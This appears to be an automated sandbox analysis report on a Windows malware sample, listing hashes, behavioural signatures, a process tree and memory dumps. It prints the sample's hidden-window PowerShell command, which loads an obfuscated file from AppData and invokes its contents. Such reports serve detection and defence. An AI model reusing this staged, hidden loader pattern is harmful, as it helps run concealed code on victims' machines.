Analysis
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max time kernel
122s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
23-05-2024 01:47
Static task
static1
Behavioral task
behavioral1
Sample
987da2feba47f44c619720682eb25199eb13aa4dddd5759c37fa943c569d30be.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
987da2feba47f44c619720682eb25199eb13aa4dddd5759c37fa943c569d30be.exe
Resource
win10v2004-20240426-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20240215-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20240508-en
General
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Target
987da2feba47f44c619720682eb25199eb13aa4dddd5759c37fa943c569d30be.exe
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Size
456KB
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MD5
6d84fe81c98c02205cc129f68aca4529
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SHA1
cf805bfa98d12c72a2f355cf1743de9ca7b8d12c
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SHA256
987da2feba47f44c619720682eb25199eb13aa4dddd5759c37fa943c569d30be
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SHA512
cae0bb8a0297d54f5f9db2c7361f5fba9e8032e2bad91573ff9d83af3d87c86a483aff4afb0621cfc9dd744612bcdadf3ae315ed031c77adc342d0b447310009
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SSDEEP
6144:9qjI9UE2ypwdlL93DrhArk3l2fd55p5uhI5o8NUN6SYUiIdCcFSaKImLxUIohqy:UM2yKjL1mrnJpu0c6SDUH9UIohqy
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Loads dropped DLL 1 IoCs
Processes:
987da2feba47f44c619720682eb25199eb13aa4dddd5759c37fa943c569d30be.exepid process 2840 987da2feba47f44c619720682eb25199eb13aa4dddd5759c37fa943c569d30be.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2384 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2384 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
987da2feba47f44c619720682eb25199eb13aa4dddd5759c37fa943c569d30be.exedescription pid process target process PID 2840 wrote to memory of 2384 2840 987da2feba47f44c619720682eb25199eb13aa4dddd5759c37fa943c569d30be.exe powershell.exe PID 2840 wrote to memory of 2384 2840 987da2feba47f44c619720682eb25199eb13aa4dddd5759c37fa943c569d30be.exe powershell.exe PID 2840 wrote to memory of 2384 2840 987da2feba47f44c619720682eb25199eb13aa4dddd5759c37fa943c569d30be.exe powershell.exe PID 2840 wrote to memory of 2384 2840 987da2feba47f44c619720682eb25199eb13aa4dddd5759c37fa943c569d30be.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\987da2feba47f44c619720682eb25199eb13aa4dddd5759c37fa943c569d30be.exe"C:\Users\Admin\AppData\Local\Temp\987da2feba47f44c619720682eb25199eb13aa4dddd5759c37fa943c569d30be.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Akteret=Get-Content 'C:\Users\Admin\AppData\Roaming\Grydeskeen146\sdfdsf\Kejsertankens\Habitters.Hej';$Engraphy=$Akteret.SubString(54172,3);.$Engraphy($Akteret)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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\Users\Admin\AppData\Local\Temp\nsy2721.tmp\nsExec.dllFilesize
6KB
MD5ac0f93b2dec82e9579bff14c8572a6c8
SHA16460244317cbb77e342adb3561ec3acb496c84d5
SHA2563aa8e0abadefea2de58281198acfe48713a1d5b43aea5619f563cea098e9fd34
SHA5128055a6af150c45547927499f9cbf645d7f39c8e4f9caff4726fd711d2401abca01a79837095e5752b9f57b06446973ea6506796f2223bdb0179243d6e0575bd2
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memory/2384-23-0x00000000738D1000-0x00000000738D2000-memory.dmpFilesize
4KB
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memory/2384-25-0x00000000738D0000-0x0000000073E7B000-memory.dmpFilesize
5.7MB
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memory/2384-24-0x00000000738D0000-0x0000000073E7B000-memory.dmpFilesize
5.7MB
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memory/2384-26-0x00000000738D0000-0x0000000073E7B000-memory.dmpFilesize
5.7MB
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memory/2384-27-0x00000000738D0000-0x0000000073E7B000-memory.dmpFilesize
5.7MB
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memory/2384-28-0x00000000738D0000-0x0000000073E7B000-memory.dmpFilesize
5.7MB